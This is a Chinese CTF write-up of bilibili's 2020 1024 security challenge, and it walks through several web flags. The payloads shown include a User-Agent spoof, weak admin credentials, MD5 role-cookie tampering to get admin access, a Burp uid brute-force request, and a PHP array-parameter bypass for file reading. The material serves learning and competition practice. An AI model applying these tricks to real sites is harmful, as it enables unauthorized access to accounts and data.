33的挑戰狀(bilibili首屆安全挑戰賽)

2020-10-28 12:01:02

0x01 前言

bilibili在1024的時候出了個活動,反正在家菜的沒事做,隨便看看。菜的不行,只會幾道題,看個樂呵就行了,沖沖衝。

0x02 flag獲取過程

2.1 flag1頁面的背後是什麼?

直接檢視原始碼

 
<script>
    $.ajax({
    url: "api/admin",
    type: "get",
    success:function (data) {
        //console.log(data);
        if (data.code == 200){
            // 如果有值:前端跳轉
            var input = document.getElementById("flag1");
            input.value = String(data.data);
        } else {
            // 如果沒值
            $('#flag1').html("介面異常,請稍後再試~");
        }
    }
})
</script>

直接get請求存取即可拿到flag1

http://45.113.201.36/api/admin

在這裡插入圖片描述
做第二題的時候發現這裡其實也可以直接f12看到flag。
在這裡插入圖片描述

2.2 flag2真正的祕密只有特殊的裝置才能看到

存取過後是跟第一題一樣的頁面
在這裡插入圖片描述
同樣的,直接檢視原始碼


<script>
$.ajax({
    url: "api/ctf/2",
    type: "get",
    success:function (data) {
        //console.log(data);
        if (data.code == 200){
            // 如果有值:前端跳轉
            $('#flag2').html("flag2: " + data.data);
        } else {
            // 如果沒值
            $('#flag2').html("需要使用bilibili Security Browser瀏覽器存取~");
        }
    }
})
</script>

讓請求api/ctf/2,直接請求是{"code":403,"data":"","msg":""},後面進行提示說要用bilibili瀏覽器,所以吧User-Agent換成bilibili Security Browser即可得到flag
在這裡插入圖片描述

2.3 flag3密碼是啥?

這道題,直接存取是一個登入框
在這裡插入圖片描述
同樣瞅瞅原始碼

    $("#submit").click(function(){
        
        $.ajax({
            url: "api/ctf/3",
            type: "post",
            contentType: "application/json",
            dataType:"json",
            data: JSON.stringify({
                username: $("#name").val(),
                passwd: $("#subject").val(),
            }),
            success:function (data) {
                if (data.code == 200){
                    alert("flag is: " + data.data);
                } else {
                    alert("使用者名稱或密碼錯誤~");
                }
            }
        })
        });
      </script>

看到這,第一想的可能是存在弱口令啥的。賬號/密碼:admin/bilibili
在這裡插入圖片描述

2.4 flag4對不起,許可權不足~

在這裡插入圖片描述
原始碼是在這樣的。


    <script>
	  
	  $.ajax({
        url: "api/ctf/4",
        type: "get",
        success:function (data) {
            console.log(data);
            if (data.code == 200){
                // 如果有值:前端跳轉
                $('#flag').html("歡迎超級管理員登陸~答案是 : {{ " + data.data + " }}".toLowerCase() )
            } else {
                // 如果沒值
                $('#flag').html("有些祕密只有超級管理員才能看見哦~")
            }
        }
    })
</script>

意味著用get請求存取api/ctf/4,直接存取的話會就是403,
後面也寫了祕密只能超級管理員才能看到,所以可以猜測是越權啥的,用bp抓了一下封包發現Cookie: role=ee11cbb19052e40b07aac0ca060c23ee; session=xxx
把將role進行md5解密發現是user,所以到這就一目瞭然了。
直接存取api/ctf/4將cookie的role替換成Administrator的md5值MD5 32位元小寫即可Cookie: role=7b7bc2512ee1fedcd76bdc68926d4f7b;即可得到flag
在這裡插入圖片描述

2.5 flag5別人的祕密?

在這裡插入圖片描述
直接存取說沒有我想要的答案。同樣看了下原始碼


    <script>

        $(function () {
        
            
            (function ($) {
                $.getUrlParam = function(name) {
                    var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
                    var r = window.location.search.substr(1).match(reg);
                    if (r != null) return unescape(r[2]); return null;
                }
            })(jQuery);
        
            var uid = $.getUrlParam('uid');
            if (uid == null) {
                uid = 100336889;
            }
            $.ajax({
                url: "api/ctf/5?uid=" + uid,
                type: "get",
                success:function (data) {
                    console.log(data);
                    if (data.code == 200){
                        // 如果有值:前端跳轉
                        $('#flag').html("歡迎超級管理員登陸~flag : " + data.data )
                    } else {
                        // 如果沒值
                        $('#flag').html("這裡沒有你想要的答案~")
                    }
                }
            })
        });

一看就知道是爆破uid,爆破即可。封包如下。
GET /api/ctf/5?uid=10033§6890§ HTTP/1.1
Host: 45.113.201.36
Content-Length: 0
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: bilibili Security Browser
Content-Type: application/json
Origin: http://45.113.201.36
Referer: http://45.113.201.36/login.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: role=7b7bc2512ee1fedcd76bdc68926d4f7b; session=xxx
Connection: close


在這裡插入圖片描述

2.6 flag6結束亦是開始

做不出來,太菜了,emmm.,不過可以通過第6關的提示做出第10關的flag。
在這裡插入圖片描述

2.7 flag8

這道題是redis上面可以拿。自己做的時候這個站根本就存取不了,在github上面看到別人發的,就直接把flag抄下來了,hhh。
下面是b站做了處理後,自己連線試了一下的截圖
在這裡插入圖片描述

2.8 flag10

做第6題的時候,掃描一下目錄就會發現有個test.php

http://120.92.151.189/blog/test.php

開啟是被編碼的(jother編碼),直接放在控制檯上面即可解開:

var str1 = "\u7a0b\u5e8f\u5458\u6700\u591a\u7684\u5730\u65b9";
var str2 = "bilibili1024havefun";
console.log()"

大致意思就是說去程式設計師最多的地方找,而程式設計師去得最多的地方就是gayhub了。(ps:最開始做的時候沒理解這個意思,看師傅們說了一下才懂得起的,hhh)
所以可以在github上面找到

https://github.com/interesting-1024/end/blob/6a1b18e8aa96e879045a66130ddb3ba26b9b8b10/end.php

程式碼是這樣的。

<?php
	

	//filename end.php
	

	$bilibili = "bilibili1024havefun";
	

	$str = intval($_GET['id']);
	$reg = preg_match('/\d/is', $_GET['id']);
	

	if(!is_numeric($_GET['id']) and $reg !== 1 and $str === 1){
		$content = file_get_contents($_GET['url']);
		
		//檔案路徑猜解
		if (false){
			echo "還差一點點啦~";
		}else{
			echo $flag;
		}
	}else{
		echo "你想要的不在這兒~";
	}
	?>

這段程式碼比較簡單,主要就是=====的區別,使用空陣列即可繞過。直接附上payload

http://120.92.151.189/blog/end.php?id[]=1&url=/api/ctf/6/flag.txt

在這裡插入圖片描述
會有個圖片,txt開啟即可收穫到第10關的flag

{flag10:2ebd3b08-47ffc478-b49a5f9d-f6099d65}}

0x03 後記

沒啥技術含量的,隨便記一下吧。最後放一張可莉的圖就結束了。
在這裡插入圖片描述